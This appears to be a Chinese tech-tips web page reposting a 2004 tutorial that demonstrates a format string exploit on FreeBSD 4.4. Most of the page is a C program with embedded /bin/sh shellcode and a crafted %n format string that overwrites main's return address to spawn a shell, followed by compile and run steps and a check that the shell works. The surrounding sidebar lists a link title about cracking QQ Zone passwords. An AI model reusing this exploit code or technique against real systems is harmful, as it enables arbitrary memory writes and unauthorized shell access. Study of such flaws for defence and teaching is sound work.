-
您的位置:首页 → 资讯 → 教你一招 → FreeBSD格式化字符串简单演示
FreeBSD格式化字符串简单演示
时间:2004/10/15 1:17:00来源:本站整理作者:蓝点我要评论(0)
-
/* simple example for printf ex on FreeBSD */
#include
char shell[]=
"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
long p[1];
char buff[76];
addr = (long ) &p[2];
sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
%%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
printf(buff);//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}
这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . ..
gcc printfex.c -o ex
./ex >/dev/null#为了防止打印太多东西从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.
//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
__ by watercloud __
相关阅读
Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
-
热门文章
电视盒子怎么看百度云迅雷9怎么关闭右侧 迅迅雷99.99下载不完怎么网易云音乐怎么上传歌
最新文章
2022支付宝万能福扫福微信迎新春状态怎么设
微信小老虎头像怎么设置 微信ID后面设置小老抖音压岁钱卡怎么获得2022 抖音压岁钱获取方微博隐私保护怎么设置 微博隐私保护功能完善今日头条2022年集卡活动开启时间 今日头条2
人气排行
智学网怎么登录 智学网怎么查分数 智学网统教你怎么写电子邮箱格式?以163和QQ邮箱为例腾讯大王卡用了后悔怎么办 腾讯大王卡值得办缺少或丢失xinput1_3.dll解决方法,xinput1应用程序无法正常启动0xc000007b解决方法快播关闭怎么办?快播不能用了怎么看片将pdf文件转换为word文件的最简单方法如何破解QQ空间密码和权限
查看所有0条评论>>